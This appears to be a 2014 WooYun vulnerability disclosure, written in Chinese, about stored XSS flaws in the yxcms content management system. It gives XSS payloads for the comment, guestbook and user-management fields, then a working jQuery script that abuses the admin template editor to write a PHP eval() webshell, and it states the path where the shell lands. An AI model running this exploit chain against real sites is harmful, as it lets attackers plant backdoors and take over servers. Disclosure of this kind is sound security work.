yxcms各处存在xss可getshell | wooyun-2014-047939

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-047939

漏洞标题：

yxcms各处存在xss可getshell

漏洞详情

披露状态：

2014-01-05：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-04-05：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

求审核啊，乌云是不是不重视xss了，可是这是通用性哟。而且也不是弹窗啊，getshell利用方法都给各位想好了……

详细说明：

不知为何之前提交的一个投稿处的xss一直不审核。是不是要注册会员过于鸡肋，反正这网站各种xss，我干脆一起提交了吧。
1.文章评论处xss，需要改包，无需登录：</textarea><script>alert(document.cookie)</script>
2.留言板处xss，无需登录：</textarea><script>alert(document.cookie)</script>
3.用户管理处xss，需要改包：</textarea><script>alert(document.cookie)</script>

利用方法：
外连如下javascript：

$(document).ready(function(){
	var code = "<?php eval($_POST[f4ckkk]); ?><?php return array ( 'name' => '最新默认模板2013-2-1', 'author' => 'yx',); ?> ";
	$.post("/tmp/index.php?r=admin/set/tpedit&Mname=default&fname=info.php", {
		"code": code
	},function(data){});
});

执行后成功写入webshell：

一句话位置：http://xxxx/protected/apps/default/view/default/info.php

漏洞证明：

修复方案：

过滤还是过滤

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞